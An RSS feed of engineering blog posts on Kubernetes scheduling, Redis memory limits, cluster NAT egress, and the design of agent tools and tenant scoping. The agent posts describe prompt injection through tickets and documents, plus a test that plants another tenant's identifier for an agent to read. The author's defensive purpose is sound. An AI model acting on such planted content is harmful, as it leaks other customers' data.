<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:atom="http://www.w3.org/2005/Atom"
  xmlns:media="http://search.yahoo.com/mrss/">
  <channel>
    <title><![CDATA[Darko Gjorgjijoski · Blog]]></title>
    <atom:link href="https://darkog.com/rss" rel="self" type="application/rss+xml" />
    <link>https://darkog.com</link>
    <description><![CDATA[Posts by Darko Gjorgjijoski: software engineering, infrastructure, AI, and the occasional grumpy take.]]></description>
    <language>en-US</language>
    <lastBuildDate>Mon, 27 Jul 2026 00:00:00 GMT</lastBuildDate>
    <item>
      <title><![CDATA[Resource requests are load-bearing]]></title>
      <link>https://darkog.com/blog/resource-requests-are-load-bearing</link>
      <pubDate>Mon, 27 Jul 2026 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[DevOps]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/resource-requests-are-load-bearing</guid>
      <description><![CDATA[A new node filled up with pods nobody moved. The scheduler thought they were free, and it was right, because they never said otherwise.]]></description>
      <media:content url="https://media.darkog.com/uploads/2026/07/d1-1024x384.webp" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2026/07/d1-1024x384.webp" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">Add a node to a Kubernetes cluster and it can fill up almost immediately. Not with the workloads you were planning to move onto it, but with a scattering of small pods that had been running happily elsewhere for months. Nothing had been rescheduled on purpose. Nothing had failed. The scheduler had simply decided that the new, empty node was the best place for a set of pods it believed were free.</p>



<p class="wp-block-paragraph">They were free, as far as the scheduler was concerned. None of them declared resource requests.</p>



<h2 class="wp-block-heading">The scheduler does not look at usage</h2>



<p class="wp-block-paragraph">This is the part that surprises people, and it surprised me for longer than I would like to admit. When Kubernetes decides where a pod goes, it does not measure how much memory or CPU that pod actually consumes. It reads <code>spec.containers[].resources.requests</code> and treats that number as the truth.</p>



<p class="wp-block-paragraph">A container with no requests declares nothing, so it is scored as costing nothing. It fits anywhere. It fits on a node that is already running at ninety percent of its real memory, because as far as the scheduler&#8217;s arithmetic goes, that node still has its full allocatable capacity available.</p>



<p class="wp-block-paragraph">Now combine that with the default scoring behaviour. Kubernetes prefers the least allocated node, on the reasonable theory that spreading work out is better than piling it up. But &#8220;least allocated&#8221; is computed from requests, not from usage. A brand new node has zero requests against it, so it wins every scoring round until something with real requests lands on it.</p>



<p class="wp-block-paragraph">Put those two behaviours together and you get that outcome. Request-less pods gravitate toward whichever node is emptiest on paper. In practice that means they gravitate toward the node you just added, which is exactly the node you were trying to keep free.</p>



<h2 class="wp-block-heading">What it costs</h2>



<p class="wp-block-paragraph">The count is usually higher than expected. On one cluster, fifteen pods had no requests declared at all. Their actual combined usage was roughly 1.4 GB of memory. That was 1.4 GB the scheduler did not know about, distributed across nodes according to a model that said it did not exist.</p>



<p class="wp-block-paragraph">None of it had caused an outage, which is what makes it easy to leave alone. The cluster looks balanced in every dashboard that reports requests, and is quietly not balanced at all.</p>



<h2 class="wp-block-heading">The second problem: QoS class</h2>



<p class="wp-block-paragraph">Requests do not only drive scheduling. They also decide which of three quality of service classes a pod lands in, and that class decides who gets killed when a node runs out of memory.</p>



<ul class="wp-block-list">

<li><strong>Guaranteed</strong>: every container sets requests and limits, and they are equal. Evicted last.</li>


<li><strong>Burstable</strong>: requests are set, and are lower than limits. Evicted in the middle, ordered by how far above its request the pod is running.</li>


<li><strong>BestEffort</strong>: no requests and no limits at all. Evicted first, before anything else on the node.</li>

</ul>



<p class="wp-block-paragraph">Every one of those fifteen pods was BestEffort. So the same omission that caused them to crowd onto the emptiest node also guaranteed they would be the first thing killed when that node came under pressure. The failure mode is self-inflicted on both ends: you concentrate them where the headroom is thinnest, and then you make them the first casualties of the thing you caused.</p>



<h2 class="wp-block-heading">Sizing requests without guessing</h2>



<p class="wp-block-paragraph">The advice to &#8220;just set requests&#8221; is easy to give and annoying to act on, because the obvious question is what number to use. Two rules got me most of the way.</p>



<p class="wp-block-paragraph"><strong>Size requests from observed usage, not from fear.</strong> Look at what the workload actually consumes in steady state and set the request near that, with a little headroom. Requests are a reservation. Every megabyte you request is a megabyte no other pod can be scheduled against, whether or not you ever touch it. Inflating requests to feel safe is how you end up buying a node you did not need.</p>



<pre class="wp-block-code"><code>kubectl top pods -A --sort-by=memory

# and the inverse: everything that declares nothing
kubectl get pods -A -o json | jq -r '
  .items[] | select(
    [.spec.containers[].resources.requests // {}] | map(length) | add == 0
  ) | "(.metadata.namespace)/(.metadata.name)"'</code></pre>



<p class="wp-block-paragraph"><strong>Limits can be generous. Requests cannot.</strong> A limit costs nothing at scheduling time. It is a ceiling that only matters when a container tries to exceed it. So there is little downside to setting a limit at two or three times the request, which gives a workload room to handle a burst without letting a runaway process take the node down with it.</p>



<p class="wp-block-paragraph">There is one important exception. If a process has its own internal memory ceiling, setting the container limit equal to that ceiling will get it killed before its own eviction logic ever runs. That is a specific enough trap that it deserves its own post, and I have written one.</p>



<h2 class="wp-block-heading">The rule I settled on</h2>



<p class="wp-block-paragraph">Every deployment declares requests. Not because every workload is important, but because a workload that declares nothing is invisible to the only model the scheduler has. An unimportant pod that lies about costing zero does more damage to placement decisions than an important one that tells the truth.</p>



<p class="wp-block-paragraph">initContainers are the easiest thing to miss. They are short lived, but they are scheduled against the same node as the pod they belong to, and while they run they are just as invisible as anything else.</p>



<p class="wp-block-paragraph">If you want one thing to check after reading this, run the second command above. The output is usually shorter than you expect and more interesting than you want.</p>

]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Never set a Redis memory limit equal to its maxmemory]]></title>
      <link>https://darkog.com/blog/never-set-a-redis-memory-limit-equal-to-its-maxmemory</link>
      <pubDate>Tue, 09 Jun 2026 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[DevOps]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/never-set-a-redis-memory-limit-equal-to-its-maxmemory</guid>
      <description><![CDATA[Twelve OOMKills in a row on an instance configured to evict. The eviction policy was fine. It just never got a turn.]]></description>
      <media:content url="https://media.darkog.com/uploads/2026/06/d2-1024x384.webp" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2026/06/d2-1024x384.webp" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">A Redis instance was OOMKilled twelve times in a row. It had a 256 MB memory limit and a <code>maxmemory</code> of 256 MB, an eviction policy that should have kept it comfortably inside that, and no obvious reason to die. It died anyway, restarted, filled up, and died again.</p>



<p class="wp-block-paragraph">The two numbers being equal is the entire bug.</p>



<h2 class="wp-block-heading">Why matching them is wrong</h2>



<p class="wp-block-paragraph">Setting <code>maxmemory</code> equal to the container limit looks like the careful thing to do. You are telling Redis exactly how much room it has, and telling the kernel the same number. Nothing is wasted.</p>



<p class="wp-block-paragraph">The problem is that <code>maxmemory</code> does not mean &#8220;the amount of memory this process will use&#8221;. It means &#8220;the amount of memory Redis will count toward its own accounting of stored data&#8221;. Those are different numbers, and the second one is always larger.</p>



<p class="wp-block-paragraph">What sits outside that accounting includes client output buffers, replication buffers if you have them, the copy-on-write pages during a fork for persistence, allocator fragmentation, and the process itself. Fragmentation alone routinely runs at ten to twenty percent above the reported dataset size, depending on your workload&#8217;s key and value sizes.</p>



<p class="wp-block-paragraph">So the sequence goes like this. Redis fills toward <code>maxmemory</code>. Its own bookkeeping says it is approaching the ceiling and eviction should begin shortly. But the resident set size the kernel sees crossed the cgroup limit some time ago, because of everything in the paragraph above. The kernel does not wait politely for Redis to finish its own accounting. The OOM killer fires, the container dies, and it restarts empty.</p>



<p class="wp-block-paragraph">Then it fills up again. Twelve times, before anyone looked at it properly.</p>



<h2 class="wp-block-heading">Eviction never gets a turn</h2>



<p class="wp-block-paragraph">The detail worth sitting with is that the eviction policy is not broken. It is never reached. Whatever you configured, <code>allkeys-lru</code> or <code>volatile-lru</code> or anything else, is a strategy for staying under <code>maxmemory</code>, and the process is being killed before that strategy has any work to do.</p>



<p class="wp-block-paragraph">This is why the symptom is confusing. You configured eviction. You can see the policy is set. The instance still dies as if it had <code>noeviction</code>. The logs show a clean start and then nothing useful, because being OOMKilled is not something a process gets to write a log line about.</p>



<pre class="wp-block-code"><code>kubectl get pod &lt;pod&gt; -o jsonpath='{.status.containerStatuses[0].lastState.terminated.reason}'
# OOMKilled

kubectl get pod &lt;pod&gt; -o jsonpath='{.status.containerStatuses[0].restartCount}'
# 12</code></pre>



<p class="wp-block-paragraph">If you see <code>OOMKilled</code> with a rising restart count on something that has an eviction policy, this is almost always what happened.</p>



<h2 class="wp-block-heading">The fix</h2>



<p class="wp-block-paragraph">Give <code>maxmemory</code> real headroom under the container limit. I use half, which is more conservative than strictly necessary and costs nothing I care about on a cache.</p>



<pre class="wp-block-code"><code>commonConfiguration: |-
  maxmemory 128mb
  maxmemory-policy allkeys-lru
  save ""
  appendonly no

master:
  resources:
    requests:
      memory: 128Mi
    limits:
      memory: 256Mi</code></pre>



<p class="wp-block-paragraph">If halving feels wasteful, the usual guidance is to leave at least twenty five percent, and more if you fork for snapshots, because copy-on-write during a background save can add a great deal depending on write volume. On a cache instance I disable persistence entirely, which removes the fork from the equation and makes the remaining overhead much easier to reason about.</p>



<p class="wp-block-paragraph">The other half of the fix is watching the right number. <code>used_memory</code> is what Redis counts. <code>used_memory_rss</code> is what the kernel counts, and it is the one that gets you killed.</p>



<pre class="wp-block-code"><code>redis-cli INFO memory | grep -E 'used_memory_human|used_memory_rss_human|mem_fragmentation_ratio'</code></pre>



<p class="wp-block-paragraph">A fragmentation ratio meaningfully above 1 tells you how much of a gap you are dealing with. That is the gap your headroom has to cover.</p>



<h2 class="wp-block-heading">It is not really about Redis</h2>



<p class="wp-block-paragraph">The general shape of this applies to anything that manages its own memory ceiling inside a cgroup limit. A JVM with <code>-Xmx</code> set to the container limit will be killed before it can garbage collect its way out of trouble, because heap is not the only thing in a JVM process. The same reasoning covers PHP-FPM worker counts multiplied by <code>memory_limit</code>, and any runtime with a configurable arena.</p>



<p class="wp-block-paragraph">The rule is the same in each case. The number the application uses to decide when to start managing its own memory has to be below the number the kernel uses to decide when to kill it. If they are equal, the application&#8217;s own protection never runs.</p>



<p class="wp-block-paragraph">Worth checking your chart defaults, incidentally. A packaged chart will happily let you set both values to the same number, because it looks tidy.</p>

]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[One public IPv4 for the whole cluster]]></title>
      <link>https://darkog.com/blog/one-public-ipv4-for-the-whole-cluster</link>
      <pubDate>Tue, 14 Apr 2026 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[DevOps]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/one-public-ipv4-for-the-whole-cluster</guid>
      <description><![CDATA[Workers with no public address of their own, and a default route that reads correctly on a whiteboard and fails silently on the wire.]]></description>
      <media:content url="https://media.darkog.com/uploads/2026/04/d3-1024x384.webp" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2026/04/d3-1024x384.webp" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">Public IPv4 addresses are now a line item worth thinking about. Paying for one per node, so that machines which only ever make outbound connections each get their own, is money spent on nothing. So I run a single one: the control plane has a routable public address, and the workers have none.</p>



<p class="wp-block-paragraph">That arrangement is common enough. What is less commonly written down is the specific way it fails when you build it on a cloud private network, and why the fix is not where you would look for it.</p>



<h2 class="wp-block-heading">The shape</h2>



<p class="wp-block-paragraph">Inbound is straightforward. Everything arrives at the one node that has an address, and the ingress controller routes from there. Workers receive no direct inbound traffic at all, which is a security property worth having on its own.</p>



<p class="wp-block-paragraph">Outbound is where the work is. Workers still need to reach the internet: pulling images, calling third party APIs, fetching packages during a build. With no public address of their own, that traffic has to leave through the one node that has one. So the master becomes a NAT gateway for the rest of the cluster.</p>



<p class="wp-block-paragraph">One detail that catches people out before they even get to routing: a node without a public address is not necessarily addressless. On some providers it will be handed an address from the carrier grade NAT range, <code>100.64.0.0/10</code>. It looks like an address. It is not routable, it changes across reboots, and it is useless for both ingress and egress. Do not build anything on it.</p>



<h2 class="wp-block-heading">The part that does not work</h2>



<p class="wp-block-paragraph">The obvious configuration is to give each worker a default route pointing at the master&#8217;s private address. It reads correctly. It is what you would write on a whiteboard.</p>



<pre class="wp-block-code"><code># looks right, does not work
ip route add default via 10.0.0.2 dev eth0 onlink</code></pre>



<p class="wp-block-paragraph">It fails silently. Packets go nowhere and you get no useful error, because nothing is technically wrong with the configuration. The problem is an assumption underneath it.</p>



<p class="wp-block-paragraph">A cloud private network that presents itself as <code>10.0.0.0/24</code> is not necessarily a flat layer 2 segment. On the provider I use, each node&#8217;s interface holds a <code>/32</code>. Every node has exactly one address and no notion of a neighbouring range. All traffic between hosts, even hosts that appear to sit in the same subnet, is routed through the provider&#8217;s gateway.</p>



<p class="wp-block-paragraph">The consequence is that nodes are not directly reachable at the link layer. Their ARP tables hold the gateway&#8217;s MAC address and nothing else. <code>onlink</code> tells the kernel to send the frame directly to the next hop without needing a route to it, which is precisely the thing that cannot happen here. The frame cannot be delivered to the master, because there is no path to the master that does not go through the gateway first.</p>



<p class="wp-block-paragraph">You can confirm this quickly on any node:</p>



<pre class="wp-block-code"><code>ip route show
# 10.0.0.0/24 via 10.0.0.1 dev eth0

ip neigh show dev eth0
# only the gateway appears, never the other nodes</code></pre>



<p class="wp-block-paragraph">If your route table says the whole subnet is reachable <em>via</em> a gateway rather than directly on the device, you are in this situation, and any configuration that assumes host to host adjacency will fail.</p>



<h2 class="wp-block-heading">Where the fix actually lives</h2>



<p class="wp-block-paragraph">Not on the nodes. The routing decision has to be made by the thing that is already routing everything, which is the provider&#8217;s network.</p>



<p class="wp-block-paragraph">Cloud private networks generally support adding routes as a property of the network itself. You add a route saying <code>0.0.0.0/0</code> goes to the master&#8217;s private address, and the provider&#8217;s gateway starts forwarding accordingly. The workers need no default route of their own for this to work. They send to the gateway, as they already did for everything else, and the gateway hands it onward.</p>



<p class="wp-block-paragraph">The master then needs to be willing to forward and to masquerade, which is ordinary Linux:</p>



<pre class="wp-block-code"><code>net.ipv4.ip_forward=1

iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j MASQUERADE</code></pre>



<p class="wp-block-paragraph">Two things to get right here. Make the sysctl persistent, or the cluster loses egress on the next reboot of the master. And make sure your masquerade rule survives whatever else is writing to iptables on that host, which on a Kubernetes node is a great deal.</p>



<h2 class="wp-block-heading">What this costs you</h2>



<p class="wp-block-paragraph">Worth being clear that this is a real tradeoff, not a free saving.</p>



<ul class="wp-block-list">

<li>The master becomes a single point of failure for all outbound traffic. If it goes down, workers keep running but stop being able to pull images or reach any external service.</li>


<li>All egress shares one source address, so any rate limiting or reputation applied by an external service now applies to your whole cluster at once.</li>


<li>The master carries traffic it would not otherwise carry, which matters if it is also your smallest node.</li>

</ul>



<p class="wp-block-paragraph">For a cluster where a brief loss of outbound connectivity is an inconvenience rather than an outage, that is a reasonable trade. For anything where it is not, you want a second gateway and a failover story, and at that point the cost saving has mostly evaporated.</p>



<p class="wp-block-paragraph">The general lesson I took from it is narrower than the setup: when a network behaves in a way your configuration says is impossible, check whether the subnet you were handed is actually a subnet.</p>

]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Capability scoping for agent tools]]></title>
      <link>https://darkog.com/blog/capability-scoping-for-agent-tools</link>
      <pubDate>Tue, 17 Feb 2026 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[AI]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/capability-scoping-for-agent-tools</guid>
      <description><![CDATA[Handing an agent one broad tool and a polite note about what not to do is a deny-list, and it inherits every problem deny-lists have.]]></description>
      <media:content url="https://media.darkog.com/uploads/2026/02/ai2-1024x384.webp" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2026/02/ai2-1024x384.webp" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">The fastest way to give an agent capability is to give it one broad tool. Run this SQL. Call this endpoint. Execute this shell command. One tool, unlimited reach, and the constraints expressed as instructions about what not to do.</p>



<p class="wp-block-paragraph">It is fast because you are not designing anything. You have handed over your entire surface area and written a note asking for restraint.</p>



<p class="wp-block-paragraph">My position is that agent safety is mostly an API design problem, and that the prompt is the weakest available place to put a constraint. Not useless, but weakest. If a limit matters, it belongs in the shape of the tool, where the model&#8217;s cooperation is not required.</p>



<h2 class="wp-block-heading">Allow-list, do not deny-list</h2>



<p class="wp-block-paragraph">A generic tool with instructions is a deny-list, and it inherits every problem deny-lists have ever had. You are enumerating the bad cases, and the set of bad cases is larger than your imagination.</p>



<p class="wp-block-paragraph">Consider a tool that runs arbitrary SQL against a read replica, with a prompt saying to only read and never modify. You have to think of <code>DROP</code>, and <code>DELETE</code>, and <code>UPDATE</code>. Then you have to think about whether a read can be harmful on its own, which it can, because <code>SELECT * FROM users</code> is a data exfiltration primitive. Then you have to think about resource exhaustion from an unbounded join. Then about writable functions and extensions.</p>



<p class="wp-block-paragraph">Now consider seven narrow tools instead: list posts, get one post, create a draft, update a draft, import an image from a URL, set a draft&#8217;s featured image, publish. Each one does a single thing, and the set of things the surface can do is exactly the union of those seven. There is nothing to enumerate, because nothing else is expressible.</p>



<p class="wp-block-paragraph">The trade is real. The narrow surface cannot do things you did not anticipate, which is frustrating the first time you want one of them. That inflexibility is the feature. A surface that can do things you did not anticipate is the definition of the problem.</p>



<h2 class="wp-block-heading">Four rules that survive contact</h2>



<p class="wp-block-paragraph"><strong>No delete.</strong> Not a confirmation flag on delete, not a soft delete the agent can trigger. No delete tool at all. Deletion is the one operation where a mistake has no recovery path inside the system, and an agent almost never needs it. If something has to be removed, a human can remove it, and the cost of that inconvenience is far below the cost of the alternative.</p>



<p class="wp-block-paragraph"><strong>Mutation only on unpublished state.</strong> An agent that can edit drafts can be wrong in private. An agent that can edit live content is wrong in public, at whatever scale your audience happens to be. Reject the operation at the tool boundary based on the record&#8217;s state, not on whether the model believed it was editing a draft.</p>



<p class="wp-block-paragraph"><strong>Destructive or irreversible actions behind an explicit flag.</strong> Publishing is the example I use, because it is the transition from private to public and it cannot be quietly undone once something is indexed or in a feed. Make the tool require <code>confirm=true</code> as a separate argument, and make the default refuse. The point is not that a model cannot pass a flag. It is that passing it is a distinct, auditable, deliberate act rather than a side effect of a broader call.</p>



<p class="wp-block-paragraph"><strong>No generic escape hatch.</strong> Frameworks in this space often ship something like an execute-any-registered-capability tool, because it is genuinely useful during development. Shipping it defeats every other rule on this list in a single line, since the narrow tools become decoration around a general one. If a capability framework offers a default server exposing everything, turn it off and register only what you meant to expose.</p>



<h2 class="wp-block-heading">Separate the principal, not just the tools</h2>



<p class="wp-block-paragraph">Narrow tools running as an administrator are narrow by convention only. If the underlying credential can do anything, then any bug in the tool layer, any path traversal in an argument, any unescaped identifier, restores the full surface.</p>



<p class="wp-block-paragraph">So the agent gets its own role, with permissions that match the tool surface and nothing more. In a content system that means a role which can draft but not publish, cannot install anything, cannot touch users, and is blocked from every route except the one its tools use. Then the tool surface and the credential agree, and neither one alone is the whole defence.</p>



<p class="wp-block-paragraph">This is also what makes the audit trail worth having. Actions arrive attributed to the agent&#8217;s own principal, so &#8220;what did the agent change last Tuesday&#8221; is a query rather than an investigation.</p>



<h2 class="wp-block-heading">The test I would run before shipping any of it</h2>



<p class="wp-block-paragraph">Assume the model is fully compromised. Every instruction in its context is adversarial, and it will take the worst action available to it. Now enumerate what it can do.</p>



<p class="wp-block-paragraph">If the answer is &#8220;create and edit drafts, which a human reviews&#8221;, that is a system you can leave running. If the answer involves the word &#8220;arbitrary&#8221;, the design is not finished, and no amount of prompt engineering will finish it.</p>



<p class="wp-block-paragraph">None of this is an argument for keeping agents away from real systems. I want them wired into real systems, because that is where they are useful. It is an argument that the interesting work is in the tool surface rather than the prompt, and that the tool surface is where I would spend the review time.</p>

]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Who is the agent acting for?]]></title>
      <link>https://darkog.com/blog/who-is-the-agent-acting-for</link>
      <pubDate>Tue, 18 Nov 2025 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[AI]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/who-is-the-agent-acting-for</guid>
      <description><![CDATA[An agent answering with the wrong customer’s data does not look like a failure. It looks like it worked.]]></description>
      <media:content url="https://media.darkog.com/uploads/2025/11/ai1-1024x384.webp" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2025/11/ai1-1024x384.webp" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">An agent that answers a question using data from the wrong customer does not look like a failure. It looks like it worked. The response is fluent, relevant, and correct in every respect except the one that matters, which is that the person reading it was never entitled to see it.</p>



<p class="wp-block-paragraph">That is the property I care about most when someone shows me an agent wired into real data, and it is usually the property nobody has thought about. The question I ask is simple and it is uncomfortable more often than not: who is this agent acting for?</p>



<h2 class="wp-block-heading">The shape almost everyone builds first</h2>



<p class="wp-block-paragraph">The first version of an agent with data access nearly always looks like this. There is one service account. It can read everything, because during development reading everything is convenient and any narrower permission is a thing you have to stop and configure. Tenant scoping arrives as context: the system prompt says which customer the conversation is about, and the tools accept a customer identifier as an argument.</p>



<p class="wp-block-paragraph">It works. It demos beautifully. And the authorisation boundary now lives in a string that a language model is being politely asked to respect.</p>



<p class="wp-block-paragraph">I want to be precise about why that is a problem, because &#8220;prompts are unreliable&#8221; is a lazy way to put it and invites the equally lazy answer of writing a firmer prompt.</p>



<h2 class="wp-block-heading">The model cannot refuse what the tool permits</h2>



<p class="wp-block-paragraph">If a tool signature accepts a tenant identifier, then choosing that identifier is part of the model&#8217;s job. You have made it a decision. And the model makes that decision from whatever is in its context, which includes the conversation, the retrieved documents, and anything a user typed.</p>



<p class="wp-block-paragraph">The failure does not require an attacker. Three ordinary things cause it:</p>



<ul class="wp-block-list">

<li><strong>Drift.</strong> A long conversation mentions several accounts. The correct identifier for turn twelve is not obviously the one from turn two, and nothing in the loop is tracking which was authoritative.</li>


<li><strong>Helpfulness.</strong> A user asks a comparative question. Answering it well requires data from a second tenant. The model has a tool that can fetch it and no reason to believe it should not.</li>


<li><strong>Injected content.</strong> Any text the agent reads and did not author is a potential instruction. A support ticket, a document, a product description. If reading is enough to influence which identifier gets passed, then whoever writes that content shares control of the boundary.</li>

</ul>



<p class="wp-block-paragraph">All three have the same root. The identity of the principal is being derived from content, and content is not a trustworthy source of identity.</p>



<h2 class="wp-block-heading">Move the decision out of the model</h2>



<p class="wp-block-paragraph">The fix is not a better instruction. It is removing the parameter.</p>



<p class="wp-block-paragraph">The tool should resolve the principal from the session, server side, and the model should have no way to express a different one. Compare these two signatures:</p>



<pre class="wp-block-code"><code># the model chooses. the boundary is advisory.
get_invoices(tenant_id: str, status: str) -> list

# the model cannot choose. the boundary is structural.
get_invoices(status: str) -> list
    # tenant resolved from the authenticated session, not from arguments</code></pre>



<p class="wp-block-paragraph">The second signature makes the cross-tenant request unrepresentable. There is no argument to get wrong, no string to be talked into changing, and no prompt to harden. An injected instruction telling the agent to fetch another customer&#8217;s invoices produces a tool call that is identical to the correct one, because the tenant was never the model&#8217;s to supply.</p>



<p class="wp-block-paragraph">This is worth being stubborn about, because there is always a use case that seems to need the parameter. An internal admin agent that legitimately spans tenants, for instance. The answer is a separate tool surface with a separate principal, not one surface with a flag, because a flag is exactly the thing that gets set incorrectly.</p>



<h2 class="wp-block-heading">Three questions worth answering before shipping</h2>



<p class="wp-block-paragraph"><strong>What can this principal reach if the model is fully compromised?</strong> Assume every instruction in the context window is adversarial and the model does exactly the worst permitted thing. The blast radius is the answer, and it should be the tenant, not the estate.</p>



<p class="wp-block-paragraph"><strong>Can you prove after the fact which principal did what?</strong> If every tool call reaches the database as the same service account, your audit log records that the agent did it, which is not useful during an incident. The principal has to be visible at the point of access, not just in the application layer above it.</p>



<p class="wp-block-paragraph"><strong>Have you actually tried?</strong> Write the test. Put a second tenant&#8217;s identifier in a document the agent will read, ask a question that would be better answered with cross-tenant data, and see what the tool layer receives. This is a cheap test and it is skipped almost universally, because the happy path demos so well that nobody goes looking.</p>



<h2 class="wp-block-heading">Why this keeps happening</h2>



<p class="wp-block-paragraph">Because it is a genuinely new place for an old bug. We already know not to trust client-supplied identifiers in a web request. Nobody sensible reads a user ID from a query string and returns that user&#8217;s data. But an agent&#8217;s tool arguments feel like internal function calls rather than untrusted input, and they are treated accordingly.</p>



<p class="wp-block-paragraph">They are not internal. They are values produced by a process that consumed untrusted text. The moment you look at them that way, the design follows on its own, and the prompt goes back to being what it should have been: a description of how to be useful, carrying no security weight at all.</p>

]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[LLMs are good at code you can verify, and bad at code you cannot]]></title>
      <link>https://darkog.com/blog/llms-are-good-at-code-you-can-verify-and-bad-at-code-you-cannot</link>
      <pubDate>Tue, 14 Oct 2025 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Software Engineering]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/llms-are-good-at-code-you-can-verify-and-bad-at-code-you-cannot</guid>
      <description><![CDATA[Generated code arrives with no uncertainty attached, whether or not any of it was warranted. The reader supplies the confidence.]]></description>
      <media:content url="https://media.darkog.com/uploads/2025/10/se1-1024x384.webp" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2025/10/se1-1024x384.webp" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">The usual way people divide up what an LLM is good at is by difficulty. Fine for boilerplate, unreliable for hard problems. I think that framing is wrong, and following it leads you to delegate the wrong work.</p>



<p class="wp-block-paragraph">The axis that predicts outcomes is not difficulty. It is whether you can cheaply tell that the result is correct.</p>



<h2 class="wp-block-heading">Two piles</h2>



<p class="wp-block-paragraph">Put a task in the first pile if being wrong is loud. A parser with a table of inputs and expected outputs. A pure transformation between two data shapes. A refactor the type checker will reject if it breaks. A regex with a fixture file. Query construction you can run against a snapshot and diff. In all of these, wrongness announces itself in seconds and the cost of a bad answer is the time it took to run the check.</p>



<p class="wp-block-paragraph">Put it in the second pile if being wrong is quiet. Concurrency, where the bug appears under load on a Tuesday. Anything security relevant, because you cannot write a test asserting the absence of a vulnerability. A data migration, which is destructive and runs once. Performance work, where you need measurements to know if you helped. Error handling paths that only execute during an incident. Cache invalidation, where the failure is stale data that looks like data.</p>



<p class="wp-block-paragraph">Difficulty cuts across both piles. A tricky bit-manipulation routine is hard and belongs firmly in the first pile, because you can test it exhaustively. A three-line change to a permission check is trivial and belongs in the second, because nothing will tell you it is wrong until it matters.</p>



<h2 class="wp-block-heading">The confidence is flat, which is the trap</h2>



<p class="wp-block-paragraph">A model produces code with the same fluency in both piles. There is no tremor in the output when it moves from a well-trodden transformation to a subtle memory-ordering question. The prose in the explanation is equally assured. Variable names are equally sensible. It compiles either way.</p>



<p class="wp-block-paragraph">Human collaborators leak signal here in a way that models do not. A colleague who is unsure tends to say so, or hedges, or writes a comment asking whether this is right. That signal is a real part of how review works, and its absence is easy to underestimate. Generated code arrives with no uncertainty attached, so the reader supplies the confidence themselves, and the reader is usually in a hurry.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="434" src="https://media.darkog.com/uploads/2025/10/task-piles-1024x434.webp" alt="" class="wp-image-2179" srcset="https://media.darkog.com/uploads/2025/10/task-piles-1024x434.webp 1024w, https://media.darkog.com/uploads/2025/10/task-piles-300x127.webp 300w, https://media.darkog.com/uploads/2025/10/task-piles-768x326.webp 768w, https://media.darkog.com/uploads/2025/10/task-piles-1536x652.webp 1536w, https://media.darkog.com/uploads/2025/10/task-piles.webp 1584w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<h2 class="wp-block-heading">What this changes in practice</h2>



<p class="wp-block-paragraph">Three things, and none of them are about writing better prompts.</p>



<p class="wp-block-paragraph"><strong>Spend the assistance where the loop is tight.</strong> If a task has a check that runs in under a minute, delegate generously and iterate against the check rather than reading closely. Reading generated code line by line is slow and, for this pile, largely redundant, because the check is a better reviewer than you are.</p>



<p class="wp-block-paragraph"><strong>In the second pile, use it for a draft you intend to rewrite.</strong> Not for the answer. A generated first attempt at a concurrency fix is useful the way a colleague&#8217;s whiteboard sketch is useful: it surfaces the shape and the cases you had not considered. Shipping it because it looks reasonable is the failure. The verification cost has not gone anywhere just because the writing cost dropped.</p>



<p class="wp-block-paragraph"><strong>Move work from the second pile to the first.</strong> This is the part I find genuinely interesting. Checkability is not a fixed property of a task. It is a property of your codebase.</p>



<p class="wp-block-paragraph">A permission check with an exhaustive table-driven test moves piles. A migration with a dry-run mode and a reversible path moves piles. Concurrency logic pulled behind an interface you can deterministically exercise moves piles. A performance-sensitive path with a benchmark you actually run in CI moves piles.</p>



<p class="wp-block-paragraph">Every one of those was already good engineering, and every one of them was easy to skip. What has changed is the return: investment in checkability now directly increases how much work you can safely hand off. That reframes test and type discipline from hygiene into leverage, which is a better argument than the one we had before.</p>



<h2 class="wp-block-heading">The failure I keep seeing</h2>



<p class="wp-block-paragraph">Somebody delegates a task from the second pile, the output looks right, the tests that exist pass, and it goes out. The tests that exist pass because they were written for the code that used to be there. Nothing has verified the new behaviour, and the code carries no signal that it needs verifying more than usual.</p>



